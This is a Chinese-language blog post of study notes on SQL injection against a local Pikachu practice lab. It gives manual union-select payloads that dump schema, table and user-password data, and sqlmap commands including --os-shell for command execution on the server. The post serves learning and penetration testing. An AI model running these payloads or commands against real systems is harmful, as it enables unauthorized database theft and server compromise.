前言
記錄一些注入思路和經常使用的工具,后續有用到新的工具和總結新的方法再繼續補充。
如何測試與利用注入點
手工
下面的現象是在說存在注入點后的現象,如果服務端有防護手段就需要另外的手段繞過。
老方法:
單引號
現象:出現數據庫報錯。
or 1=1--
現象:正常訪問頁面或者跟多數據一起展現出來了。
and 1=1--
現象:正常訪問頁面。
and 1=2--
現象:不會顯示任何內容或者會看到報錯信息,這取決于服務端代碼是如何寫的。
order by n
現象:判斷該表的字段數量,直到沒有報錯即order by后面那個n就是字段數
union
前提:知道表的字段數量,所以可以先使用上面的order by進行測試字段數
payload:union select user(),database()--
現象:若存在注入點,這里的union使用的地方通常是可以展示多個數據的地方,因為聯合出來的數據會很多條,若存在注入點union注入的能力會十分強大。
MySQL5.0以上有information_schema數據庫信息
獲取所有數據庫名:
union select 1,group_concat(schema_name) from information_schema.schemata
獲取當前數據庫所有表名:
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
獲取某些表的所有列名:
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
其中table_name=0x7573657273為十六進制,這個不轉成十六進制也可以table_name="users"
獲取某表的所有字段數據:
' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users
0x7c表示 | 符號,其實就是用過|將所有字段數據拼接到一起進行顯示
注入思路
工具
以下是一些工具注入手段。
(在Github或谷歌搜索都能搜到)
Pongolin(穿山甲)
Havij(蘿卜頭)
來自國外的,比較經典且實用,就是注冊的時候有點麻煩,可以通過報錯的信息發現缺少什么組件去網上直接找解決方法即可。
可以執行后端數據庫指紋識別,檢索DBMS用戶和密碼哈希,轉儲表和列,從數據庫獲取
數據,執行SQL語句甚至訪問底層文件系統并發出操作系統級命令
sqlmap
下載地址:https://github.com/sqlmapproject/sqlmap
介紹:是一個開源的滲透工具。使用python2.7開發的,所以我們使用的時候需要用python2。或者直接去kali系統使用,kali自帶了sqlmap工具。而且他的參數都是直接添加即可,沒有順序可言,就很方便。
執行命令后可能會提示,下面使用簡單的-u對一個網址進行測試作為示例入門:
1:sqlmap測試出來時哪個數據庫的時候會提示你是否還繼續測試其他數據庫的payload注入語句,這里一般輸入n,你不放心就可以y
2:沒有設置level和risk的話就會詢問你是否默認都為等級1
3:找到注入的參數后就會詢問你是否還要繼續找其他注入參數,這里就看自己需求
出結果:
開始介紹參數使用與示例
-r
執行命令:python2 sqlmap.py -r 數據包文件
-u
執行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2"
-m
執行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt
注意:若你使用的url都是同一個ip地址下的網址的話,在測試過程中,會出現問你是否跳過同一個ip下的另一個url網址測試,這時候需要你選擇否來繼續測試你文件中的下一個url網址,如果不是同ip僅僅只是詢問你確認該網址。如下圖就是同一個ip下的兩個網址進行測試,輪到下一個的時候會詢問你是否跳過,我們要測試的肯定一般都不會跳過,所以選擇否。
--level
執行命令:按照上面的執行語句加一句 [--level 等級] 即可,如下
python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"
注意:比如你寫了level 3,那么在詢問你的時候就會是 level 3,但是risk還是默認1,如下圖
--risk
執行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"
同理注意:比如你寫了risk3,那么在詢問你的時候就會是 risk3,但是level還是默認1,很容易發現,如多level 和 risk都定義了參數等級那就不會按照默認的等級來。
通常情況下使用level 3 risk 3就可以。
-v
顯示詳細信息的意思,ERBOSE信息級別: 0-6 (缺省默認1),其值具體含義:
“0”只顯示python錯誤以及嚴重的信息;
"1"同時顯示基本信息和警告信息(默認);
“2”同時顯示debug信息;
“3”同時顯示注入的payload;
“4”同時顯示HTTP請求;
“5”同時顯示HTTP響應頭;
“6”同時顯示HTTP響應頁面;
如果想看到sqlmap發送的測試payload最好的等級就是3。設置為5的話,可以看到http相應信息,比較詳細。
執行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3
學到這里其實已經發現我們的參數逐漸完善了,基本的語句就是上面的例子↑
-p
-p就是指定你注入的參數,比如id是一個注入點,那我們在測試的時候就可以指定id參數,-p id,這樣測試會讓測試時間大大減少。不管是post數據包還是get的url都是可以使用-p 直接指定注入參數。
--threads
-batch-smart
智能判斷測試,自行尋找注入點進行測試 (該命令很少用)
這個智能指令,會將所有數據庫全部扒一遍,并且會將每一步的信息和數據全部給我們保存下來,在如下目錄中
記住,這個參數測出來的信息會很多,數據庫、表等等都會出來。
--os-shell
個人不推薦使用。(動靜大不說,等待時間還比較久)
前提條件
網站必須是root權限
攻擊者需要知道網站的絕對路徑
GPC為off,php主動轉義的功能關閉
該功能耗費時間比較長。
原理:
就是用into outfile函數將一個可以用來上傳的php文件寫到網站的根目錄下
然后利用tmpukjhb.php上傳了一個tmpbezal.php的文件,tmpbezal.php這個文件可以用來執行系統命令,并且將結果返回出來
--mobile
直接加上--mobile即可,他會自動讓你選擇手機型號,不用自己輸入手機型號(所以也有局限性,但是也不算局限性,市面這么多手機,只要能夠讓網站判斷是手機訪問的即可了)
tamper插件
使用方法:
sqlmap.py -u url --tamper "base64encode.py";
獲取數據的相關參數
以下參數都是直接加上去即可,不用另外添加數據
例子:http://192.168.121.151/sql.php?id=1 --dbs
--dbs # 會獲取所有的數據庫
--current-user #顯示當前用戶
--current-db #當前連接數據庫名
--is-dba #判斷當前的用戶是否為管理員
--users #列出數據庫所有所有用戶
暫時了解這么多,后面繼續進階了再繼續學習補充...
本文來自博客園https://www.cnblogs.com/dhan/p/18290507,作者:竹等寒,轉載請注明原文鏈接。